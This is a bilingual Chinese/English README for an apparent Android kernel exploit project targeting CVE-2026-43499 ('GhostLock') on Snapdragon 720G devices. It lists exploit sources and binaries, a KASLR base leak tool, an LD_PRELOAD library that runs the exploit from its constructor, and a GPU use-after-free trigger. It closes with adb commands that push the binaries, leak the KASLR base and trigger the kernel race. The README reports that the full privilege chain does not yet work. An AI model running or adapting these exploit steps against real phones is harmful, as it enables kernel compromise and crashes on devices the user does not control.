GhostLock-SD720G-CVE-2026-43499/
├── exploit/              # 内核利用源码与二进制 / Kernel exploit source & binaries
│   ├── sd720g_exploit.c       # 主利用程序（竞争触发 + KASLR + 日志）/ Main exploit
│   ├── sd720g_exploit         # 已编译 ARM64 二进制 (2.1 MB) / Compiled binary
│   ├── target_sd720g.h        # 核心符号偏移（12 个函数）/ Core symbol offsets
│   ├── target_sd720g_complete.h  # 完整 37 符号表 / Full symbol table
│   ├── perf_leak_sd720g.c     # KASLR 基址泄露工具 / KASLR base leak
│   ├── perf_leak              # 已编译二进制 (2.1 MB) / Compiled binary
│   └── compile_perf_leak.bat  # NDK 编译脚本 / NDK build script
│
├── preload/              # LD_PRELOAD 共享库 / Shared library
│   ├── sd720g_preload.c      # 构造函数自动执行利用 / Constructor-based exploit
│   ├── arm.so                # 已编译 ARM64 .so (16 KB)
│   └── compile_preload.bat   # 编译脚本 / Build script
│
├── tools/                # 分析与提取脚本 / Analysis & extraction scripts
│   ├── extract_kallsyms.py   # 纯 Python kallsyms 解析器 (PIE 感知) / kallsyms parser
│   ├── extract_symbols.py    # 符号偏移提取器 / Symbol offset extractor
│   ├── find_ghostlock_bug.py # 二进制搜索 pi_blocked_on=NULL 模式 / Bug pattern search
│   ├── reanalysis.py         # 0x105aeb0 与 rb_erase 调用链追踪 / Call chain trace
│   ├── trace_waiter.py       # rt_mutex_waiter 字段写操作搜索 / Field write search
│   ├── analyze_pi_state.py   # pi_state 分配/释放生命周期分析 / Lifecycle analysis
│   └── kgsl_uaf_test.c       # KGSL GPU UAF 触发测试 / GPU UAF trigger test
│
├── docs/                 # 综合分析文档 / Analysis documents
│   ├── CVE2026-43499_SD720G_分析.md        # 完整分析报告（中文）/ Full analysis report
│   ├── GHOSTLOCK_SD720G_PORT_RECORD.md     # 移植记录与发现 / Porting record
│   ├── CVE2026-43499_SD720G_参考数据汇总.md  # 参考数据与符号表 / Reference data
│   ├── ALTERNATIVE_STRATEGY.md             # 替代攻击路径 / Alternative paths
│   ├── HEAP_ANALYSIS.md                    # 堆 / pi_state 生命周期 / Heap lifecycle
│   ├── STACK_ANALYSIS.md                   # 栈回收可行性 / Stack reclaim feasibility
│   ├── WRITE_PRIMITIVE.md                  # 写原语研究 / Write primitive research
│   ├── BOOT_ANALYSIS.md                    # 启动镜像结构 / Boot image structure
│   └── FINAL_ANALYSIS.md                   # 最终结论 / Final conclusions

CVE-2026-43499 漏洞存在 / Vulnerability exists:         ✅ (str xzr at 0xdbf10)
标准 IonStack 利用链 / Standard exploit chain:           ❌ (Qualcomm 代码不同 / Code differs)
替代写原语 / Alternative write primitive:                ⚠️ 当前分析未找到 / Not found

# 推送文件 / Push files
adb push preload/arm.so /data/local/tmp/
adb push exploit/perf_leak /data/local/tmp/
adb shell chmod 755 /data/local/tmp/arm.so /data/local/tmp/perf_leak

# 第一步：泄露 KASLR 基址 / Step 1: Leak KASLR base
adb shell /data/local/tmp/perf_leak

# 第二步：触发 GhostLock 竞争 / Step 2: Trigger GhostLock race
adb shell LD_PRELOAD=/data/local/tmp/arm.so env

# 崩溃后查看 dmesg / After crash, check dmesg
adb shell dmesg | grep -A 30 "PC\|Call trace\|Internal error"